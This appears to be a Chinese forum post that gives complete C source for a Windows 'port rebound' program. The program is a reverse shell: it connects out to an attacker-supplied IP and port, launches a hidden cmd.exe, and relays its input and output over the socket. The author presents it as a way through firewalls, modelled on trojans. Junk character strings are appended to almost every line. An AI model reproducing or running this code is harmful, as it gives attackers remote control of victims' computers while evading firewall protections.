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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 XL'\$f  
qk(bA/+e  
/* ============================== 4t3>`x 7  
Rebound port in Windows NT /XU=l0u  
By wind,2006/7 @AK&R~<  
===============================*/ 1GB]Yi[>  
#include .?LRt  
#include kE|x'(x  
W1Ye+vg/s  
#pragma comment(lib,"wsock32.lib") I5`>XfO)  
lcgG5/82  
void OutputShell(); -Q&@P3x  
SOCKET sClient; kk4+>mk  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; *'\HG  
Rw FA  
void main(int argc,char **argv) b#R$P]dr=  
{ "S*@._   
WSADATA stWsaData; 6NHP/bj<1V  
int nRet; \u))1zRd  
SOCKADDR_IN stSaiClient,stSaiServer; Q]3]Z/i  
#f/4%|t:  
if(argc != 3) q/d?c Lgl  
{ V>GJO(9  
printf("Useage:\n\rRebound DestIP DestPort\n"); )jg*u}u 0  
return; dQ9W40g1  
} *c&OAL]  
{2q0Ko<  
WSAStartup(MAKEWORD(2,2),&stWsaData); MI(;0   
r/"^{0;F{W  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]<L~f~vU  
c_?^:xs:d  
stSaiClient.sin_family = AF_INET; sUK|*y  
stSaiClient.sin_port = htons(0); x$D^Bh,  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); z;Fz3s7  
" a,4E{7  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !`1m.  
{ Oh>hy Y)}  
printf("Bind Socket Failed!\n"); 8{ =ha  
return; pV;0Hcy  
} 'mTY56Yq  
8oXp8CC  
stSaiServer.sin_family = AF_INET; yWE\)]9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =5V7212  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !.q 9:|oc  
M_.Jmh<&&  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) w/rJj*  
{ &zJ*afi)  
printf("Connect Error!"); O>a1S*mxP  
return; 0Q?%B6g$m[  
} y'I m/{9U  
OutputShell(); bZ OCj1  
} '5[(QM5Gi&  
vCSC:  
void OutputShell() V45adDiZ  
{ .=t:Uy  
char szBuff[1024]; jw {B8<@s  
SECURITY_ATTRIBUTES stSecurityAttributes; ^blw\;LB  
OSVERSIONINFO stOsversionInfo; "::2]3e  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /j4G}  
STARTUPINFO stStartupInfo; w?^[*_Y  
char *szShell; K[0z$T\  
PROCESS_INFORMATION stProcessInformation; i8-Y,&>V  
unsigned long lBytesRead; y Rl   
ztX$kX:_m  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &z:bZH]DH  
3oH/34jj  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); knph549  
stSecurityAttributes.lpSecurityDescriptor = 0; Y)1J8kq_  
stSecurityAttributes.bInheritHandle = TRUE; fDfph7[)  
B@i%B+qCLv  
II.: k.D`  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); r<!nU&FPD:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 0H^*VUyW/  
1Q? RD%lkf  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ng*-Bw)p]  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4 l-Urn Z  
stStartupInfo.wShowWindow = SW_HIDE; r hucBm  
stStartupInfo.hStdInput = hReadPipe; :DNI\TmhJ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7H{1i  
xsJXf @  
GetVersionEx(&stOsversionInfo); U.P1KRY|=  
tcv(<0  
switch(stOsversionInfo.dwPlatformId) RO/(Ldh  
{ GWPBP-)0  
case 1: S\:+5}  
szShell = "command.com"; ZCc23UwI  
break; SE^l`.U@  
default: _0'X!1"  
szShell = "cmd.exe"; )?(Ux1:w)  
break; iCg%$h  
} ?#(LH\$l_  
WlvT&W  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ux(~+<k  
0NZ'(qf~9  
send(sClient,szMsg,77,0); !ae?EJm"  
while(1) W4d32+V  
{ #!UJY%c ~  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w->Y92q]  
if(lBytesRead) !<=zFy[J.9  
{ hB.8\-}QMq  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); K&NH?  
send(sClient,szBuff,lBytesRead,0); m+s*Io{Ip  
} ?yq=c  
else 7>O`UT<t4@  
{ } f&=}  
lBytesRead=recv(sClient,szBuff,1024,0); -#T%*  
if(lBytesRead<=0) break; Nr2,m"R{  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "D_:`@V(  
} dG5jhkPX  
} 7R:Ij[dV  
0'pB7^y  
return; Tf]ou5|  
}
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